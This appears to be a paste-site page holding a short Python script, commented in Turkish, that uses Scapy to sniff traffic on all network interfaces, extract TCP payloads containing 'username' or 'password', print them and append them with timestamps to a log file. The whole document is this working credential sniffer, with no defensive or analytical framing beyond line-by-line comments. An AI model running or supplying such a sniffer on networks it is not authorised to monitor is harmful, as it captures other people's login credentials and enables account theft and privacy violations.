Untitled
unknown
plain_text
a year ago
2.4 kB
15
Indexable
from scapy.all import * # Scapy kütüpphanesini içeri aktarır ağ paketlerini analiz etmek için kullanılır.
import os # Pythonun işletim sistemi ile etkileşim kurmasını sağlar.
import datetime # Tarih ve saat bilgisi almak için kullanılır.
# Log dosyasının adı.veriler bu dosyaya kaydedilecektir.
LOG_FILE = "network_traffic.log"
def packet_callback(packet):
"""
Paketleri işleyen ve hassas bilgileri kaydeden callback fonksiyonu.
Bu fonksiyon her paket yakalandığında çağrılır.
"""
# Paket TCP protokolü içeriyor ve ham veri (Raw) katmnı varsa işleme alınır.
if packet.haslayer(TCP) and packet.haslayer(Raw):
# Ham veri (Raw) kısmını alır ve decode eder hatalı karakterle yok sayılır.
payload = packet[Raw].load.decode(errors="ignore")
# Ham veride 'username' veya 'password' anahtar kelimelerinden birinin olup olmadığını kontrol eder.
if "username" in payload or "password" in payload:
# Eğer hassas veri bulunduysa, tarih ve saat ile birlikte log girişi oluşturulur.
log_entry = f"[{datetime.datetime.now()}] Hassas Veri Bulundu: {payload}\n"
# hassas veriyi ekrana yazdırır.
print(log_entry)
# veriyi log dosyasına ekler. Dosya yoksa oluşturulur.
with open(LOG_FILE, "a") as log_file:
log_file.write(log_entry)
def main():
"""
Paket dinleyiciyi başlatan ana fonksiyon.
Bu fonksiyon, ağda paketleri dinlemeye başlar ve 'packet_callback' fonksiyonunu çağırır.
"""
print("Paket sniffer'ı başlatılıyor...") # Başlatıldığında ekrana yazdırılır.
try:
# Tüm ağ arabirimlerinde paketleri dinlemeye başlar.
# 'prn=packet_callback' her paket yakalandığında 'packet_callback' fonksiyonunu çağırır.
sniff(prn=packet_callback, store=0)
except KeyboardInterrupt:
# Kullanıcı CTRL+C ile programı durdurursa, burada sniffer'ın sonlandırıldığı mesajı yazdırılır.
print("\nSniffer sonlandırıldı.")
# Bu, dosyanın doğrudan çalıştırılıo çalıştırılmadığını kontrol eder. Eğer doğrudan çalıştırılıyorsa, main() fonksiyonu çağrılır.
if __name__ == "__main__":
main() # Paket dinleyiciyi başlatır.
Editor is loading...
Leave a Comment